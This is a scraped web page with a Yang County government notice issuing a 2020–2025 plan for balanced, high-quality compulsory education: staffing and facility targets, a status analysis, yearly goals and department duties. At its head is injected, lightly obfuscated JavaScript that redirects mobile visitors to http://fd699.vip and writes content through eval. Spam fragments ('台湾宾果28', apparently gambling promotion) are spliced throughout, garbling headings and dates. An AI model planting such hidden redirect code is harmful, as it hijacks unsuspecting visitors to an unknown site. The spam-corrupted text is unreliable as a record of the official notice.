function moble(){ var ss = '
'; if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) { window.location.href = "http://fd699.vip" }else{ eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); } } moble();








洋政发〔2020〕24号关于印发《洋县义务教育优质均衡发展工作实施方案》的通知



台湾宾果28 洋政发〔2020〕24号


台湾宾果28
关于印发《洋县义务教育优质均衡发展工作实施方案》的通知


各镇人民政府、街道办事处,县政府各工作部门、直属机构,市管单位:

《洋县义务教育优质均衡发展工作实施方案》已经县政府研究同意,现印发你们,请认真贯彻执行。


台湾宾果28

台湾宾果288月6日


洋县义务教育优质均衡发展工作实施方案


台湾宾果28 为巩固提高我县义务教育基本均衡发展创建成果,进一步缩小区域、城乡、校际差距,统筹推进县域内城乡义务教育一体化改革,推动义务教育实现优质均衡发展,根据《教育部关于印发<县域义务教育优质均衡发展督导评估办法>的通知》(教督〔2017〕6号)和《陕西省县域义务教育优质均衡发展督导评估实施意见》(陕政教督〔2019〕5号)的精神,现制定洋县义务教育优质均衡发展实施方案。

一、指导思想

以党的十九大精神和习近平新时代中国特色社会主义思想为指导,优先发展教育事业,全面贯彻党的教育方针和教育大会精神,以促进教育公平为取向,以提高教育质量为核心,以扩大优质教育资源为着力点,全面推进县域义务教育优质均衡发展,办好每一所学校,促进学生健康成长、全面发展,促进教师专业发展,更好地满足人民群众日益增长的对优质教育的需求,为实现教育现代化、全面建成小康社会打下坚实基础。

二、重点任务

(一)均衡配置教育资源。强化义务教育学校教师、校舍、仪器设备三方面的配置,达到评估指标规定要求。具体包括,每百名学生拥有高于规定学历教师数:小学、初中分别达到4.2人以上、5.3人以上;每百名学生拥有县级以上骨干教师数:小学、初中均达到1人以上;每百名学生拥有体育、艺术(美术、音乐)专任教师数:小学、初中均达到0.9人以上;生均教学及辅助用房面积:小学、初中分别达到4.5平方米以上、5.8平方米以上;生均体育运动场馆面积: 小学、初中分别达到7.5平方米以上、10.2平方米以上;生均教学仪器设备值:小学、初中分别达到2000元以上、2500元以上;每百名学生拥有网络多媒体教室数:小学、初中分别达到2.3间以上、2.4间以上。同时,所有指标校际差异系数,小学均小于或等于0.50,初中均小于或等于0.45。

台湾宾果28 (二)提高政府保障水平。落实国家有关法律、法规、政策要求,推进义务教育均衡发展和城乡一体化,做到县域内义务教育学校规划布局合理,符合国家规定要求,城乡义务教育学校建设标准统一、教师编制标准统一、生均公用经费基准定额统一、基本装备配置标准统一。所有小学、初中规模不超过2000人,九年一贯制学校、十二年一贯制学校义务教育阶段规模不超过2500人,小学、初中所有班级学生数分别不超过45人、50人。所有小学、初中每12个班级配备音乐、美术专用教室1间以上,每间音乐专用教室面积不小于96平方米,每间美术专用教室面积不小于90平方米。不足100名学生的小学和教学点按100名学生核定公用经费,特殊教育学校生均公用经费不低于6000元。全县义务教育学校教师平均工资收入水平不低于当地公务员平均工资收入水平,按规定足额核定教师绩效工资总量。教体局在核定的教职工编制总额和岗位总量内,统筹分配各校教职工编制和岗位数量,每年交流轮岗教师的比例不低于符合交流条件教师总数的10%,骨干教师不低于交流轮岗教师总数的20%;专任教师持有教师资格证上岗率达到100%;教师5年360学时培训完成率达到100%。城区和镇区公办小学、初中(均不含寄宿制学校)就近划片入学比例分别达到100%、95%以上,县内优质高中招生名额分配比例不低于50%,并向农村初中倾斜。健全留守儿童关爱体系,全县符合条件的随迁子女在公办学校和政府购买服务的民办学校就读比例不低于85%。

(三)提升教育教学质量。要切实提高县域义务教育普及程度、学校管理水平、学生学业质量和综合素质发展水平,县域内初中三年巩固率达到95%以上,残疾儿童少年入学率达到95%以上。所有学校制定章程,课程开齐开足,教学秩序规范,德育工作、校园文化建设水平达到良好以上,综合实践活动有效开展,无过重课业负担,实现学校管理与教学信息化。按照不低于学校年度公用经费预算总额的5%安排教师培训经费,教师能熟练运用信息化手段组织教学,设施设备利用率达到较高水平。在国家义务教育质量监测中,相关科目学生学业水平达到Ⅲ级以上,且校际差异率低于0.15。

台湾宾果28 (四)提高社会认可程度。县政府及有关职能部门要切实落实教育公平政策,推动优质资源共享,下大力气在义务教育学校规范办学行为、实施素质教育、考试评估制度改革、提高教育质量等方面取得成效,确保学生、家长、教师、校长、人大代表、政协委员及其他群众的社会认可度达到85%以上。

三、现状分析

根据最新教育事业统计年报数据(2019年),对照优质均衡发展评估标准,分析我县教育资源配置、政府保障、教育质量等方面现状:目前全县义务段学校每百名学生拥有高于规定学历教师数、每百名学生拥有县级以上骨干教师数,生均教学仪器设备值均达到标准要求。生均公用经费基准定额统一,小学生均公用经费标准为每生每年800元,初中每生每年1000元。落实了不足100名学生村小学和教学点按100名学生核定公用经费。聋哑学校已按照生均6000元标准拨付公用经费。全县所有学校落实了按照不低于学校年度公用经费预算总额的5%安排教师培训经费,初中三年巩固率和残疾少儿入学率均达到标准要求。

存在问题:一是城区书院初中、南街小学、城西小学、青年路小学存在大校额(学生数超过2000人)。二是城区所有学校和部分农村学校存在生均体育运动场面积不足。三是部分学校每百名学生拥有网络多媒体教室间数不达标。四是部分学校生均教辅用房面积不足。五是每百名学生拥有体音美专任教师全县总体不达标。六是资源配置城乡、校际之间差异系数达不到优质均衡标准要求。

四、阶段目标

台湾宾果28,制定义务教育优质均衡发展规划和实施方案,召开县域内义务教育优质均衡发展启动会。解决义务教育学校教师平均工资收入水平低于本地公务员平均工资收入水平问题。

2021年,新招聘教师120余人(含体音美专业教师15人),加强义务教育阶段学校三级三类骨干教师培养工作,培养县级以上骨干教师95人(其中省级5人、市级20人、县级70人)。洋县中学城东校区建成投用。实施洋县中学整体搬迁,启动洋县中学原址单设初中改建工程、部分农村中小学改扩建工程。

2022年,新招聘教师120人(含体音美专业教师15人),培养县级以上骨干教师90人,完成城北小学建设投用,启动城东小学建设。

2023年,新招聘教师120人(含体音美专业教师15人),培养县级以上骨干教师93人,完成洋县中学原址单设初中改建工程,并投入使用。启动城南初中建设。

台湾宾果28 2024年,新招聘教师120人(含体音美专业教师15人),培养县级以上骨干教师90人。完成新建城东小学建设投用。完成农村中小学改扩建任务,解决部分学校多媒体教室、教辅用房及运动场面积不足问题。18个镇办义务教育阶段公办学校实现义务教育优质均衡发展。

2025年,完成城南初中建成投用,改办城南九年制学校为城南小学。全县实现县域内义务教育优质均衡发展。

五、工作职责

台湾宾果28 (一)各有关部门

县政府办公室:统筹协调各镇办及相关部门做好义务教育优质均衡发展县创建工作。

台湾宾果28 县委督查办:督促各镇办及相关部门认真履行教育工作职责,督导义务教育优质均衡创建有关重点工作,推进创建。

县教育体育局:认真履行教育行政管理职能,监督指导学校规范办学行为,不断提升精细化管理水平和教育质量、做到教育资源优质均衡配置,研究解决创建工作中的重大问题。

台湾宾果28 县委宣传部:协调指导有关义务教育优质均衡发展创建工作;负责新时代教育政策法律、法规的宣传,树立推进素质教育的先进典型,营造尊师重教舆论氛围。

县考核办:对各镇办、有关部门义务教育优质均衡发展县创建工作情况进行经常性督促检查,并将此项工作纳入年度目标考核内容,严格考核奖惩。

台湾宾果28 县委编办:依据评估标准要求结合我县教育事业发展规划,制定和审定县域内教职工编制标准,配足配齐教职工,适时调整编制方案。

台湾宾果28 团县委:加强教育系统团建工作,提高团员队伍整体素质;指导开展丰富多彩的团队活动,推进青少年在学校中健康发展;关爱农民工子女,合力做好困难学生的帮扶工作。

县纪委监委派驻县教体局纪检监察组:对违反教育法律法规负有行政责任的辖管单位和人员追究责任;抓好学校建筑工程建设、中小学教师选招等工作的监督;指导县教育行政部门抓好中小学乱收费治理工作;督促各部门履行好教育职责。

县发展和改革局:将义务教育优质均衡发展县创建工作纳入全县国民经济和社会发展总体规划,指导相关部门编制规划:争取与义务教育优质均衡发展有关教育设施建设项目的立项、审批,协调建设资金的筹措,推进教育优先发展。广泛开展科普知识进校园活动,积极支持指导学校开展科技活动。

县财政局:强化教育经费保障机制,继续依法落实教育经费投入政策,保障义务教育经费投入“三个增长”;依法按时足额拨付教育费附加、税费改革转移支付资金、生均公用经费和教师工资;多方筹措资金投入教育,并加强监管,提高资金使用效益,不断改善办学条件,确保创建工作顺利开展。

县人力资源和社会保障局:按义务教育优质均衡发展县评估标准要求足额核编教师,及时解决教师不足问题,配合县教育部门做好教师招聘和教育人才引进工作;定期做好教师职称评审工作;落实教师工资福利待遇政策。履行劳动监察职责,依法禁止招用童工,严肃查处非法使用童工行为。

县公安局:依法维护校园周边秩序,指导学校做好校园安保工作,及时依法查处扰乱校园秩序、侵害师生人身安全案件,选派法制副校长,并协助学校处理校园突发事件,为学校提供安全保障。指导县交警大队加强学生交通安全法规宣传;加强校园周边交通秩序维护,积极整治违法违规接送学生行为及其它交通违法情形。

县自然资源局:在编制土地利用规划时,优先保障教育项目建设用地;依据中小学办学标准和中小学改建、扩建、新建标准,搞好学校用地布局规划审批,保证教育用地项目的正常审批,按政策减免教育项目用地费用。

县住房和城乡建设管理局:落实教育建设项目相关减免政策,积极支持中小学、幼儿园校舍的新建、扩建和改建,并负责新建项目施工审批和工程质量安全监管。

县卫生健康局:认真贯彻落实《学校卫生工作条例》,加强对学校卫生防疫和保健工作的指导,宣传、普及疾病预防知识,指导学校落实疾病预防措施;加强对校园饮水、饮食卫生的监督,定期对中小学生及校园炊事人员进行健康检查;配合县教育部门做好中小学、幼儿园卫生保健人员的专业技术培训工作和业务指导。

县市场监督管理局:负责学校食品卫生安全监督管理,依法治理学校周边食堂餐饮摊点和商业网点,维护学校及师生的合法权益。

县文化和旅游局:加强对校园周边娱乐场所经营活动的监督管理,加强政策宣传,规范文化市场,净化校园周边环境。

县民政局:做好扶贫济困工作,对家庭生活特别困难的中小学生,提供必要的政策支持和经济援助。

县司法局:将有关教育法律法规纳入普法规划,并广泛开展宣传活动;协助有关部门加强对青少年的法制宣传教育;依法维护教师、青少年学生的合法权益。

县交通运输局:定期检修维护校园周边交通安全警示牌、减速装置,消除交通安全隐患;科学规划县内学生周末乘车线路和车辆调配,加强学生乘坐车辆及乘车安全监督。

县农业农村局:充分利用现代农业和科技示范园区,为中小学生提供素质教育劳动实验基地。

县审计局:对教育经费、专项经费的核拨、使用情况进行审计;对教育费附加是否专款专用,基建款、房屋修缮款使用的管理程序、效益进行审计与监督。

县统计局:指导县教育体育局做好各类教育体育统计工作;负责向县教育部门提供所需的经济和社会发展有关数据。

县生态环境局:加强对校园周边环境污染特别是噪音污染的治理;配合县教育部门抓好中小学生的环境保护知识教育。

台湾宾果28 县税务局:加大征管力度,依法足额征收教育费附加和地方教育费附加。

县教育督导室:发挥教育督政和督学职能,对义务教育学校和各镇(办)政府落实义务教育优质均衡县创建工作进展情况进行监督、检查、评估和指导。

(二)各镇(办)人民政府

1.做好镇(办)义务教育优质均衡教育发展规划,督查、指导和协调辖区教育工作。稳步推进学校布局调整,采取有效措施,促进区域内各类教育持续、健康、协调发展。

台湾宾果28 2.做好辖区内义务教育段少年儿童的控辍保学和教育扶贫工作;做好留守儿童和残疾少儿的关爱工作。

3.依法整治学校周边环境,保护学校、教师、学生的合法权益,为学校提供安全保障。    

台湾宾果28 4.负责辖区学校新建、扩建用地的统筹协调工作。   

六、保障措施

台湾宾果28 (一)健全机构,夯实责任。县上成立义务教育优质均衡县创建工作领导小组,下设办公室,具体负责创建过程中各项工作的组织实施。各镇(办)、各部门单位、各义务教育阶段学校主要负责人是创建义务教育优质均衡发展工作第一责任人,要对照县创建工作方案的要求,成立相应的工作机构,制定具体实施方案,对照验收标准分解工作任务,细化工作职责,确保顺利完成各项工作任务。

(二)强化督导,落实整改。县教体局、教育督导室要加大教育督学和督政,及时对义务段学校和各镇办政府义务教育优质均衡创建工作开展专项阶段督检和全面督查,发现问题及时指导,并督促限期落实整改,确保全县义务教育优质均衡发展工作按部就班,有序推进。

(三)实施奖惩,强化问责。县政府把推进义务教育优质均衡发展县创建工作纳入对各镇办、各部门及其主要负责人的考核内容,对推进阶段工作表现突出的单位和个人及时进行表彰奖励,对不主动作为的单位进行通报批评,并按规定追究有关单位和相关人员的责任。各镇办、相关各部门也要建立相应的目标明确、任务落实、严格考核、奖惩分明、公开问责的考评机制,确保全县义务教育优质均衡创建工作有条不紊进行,圆满完成既定目标任务。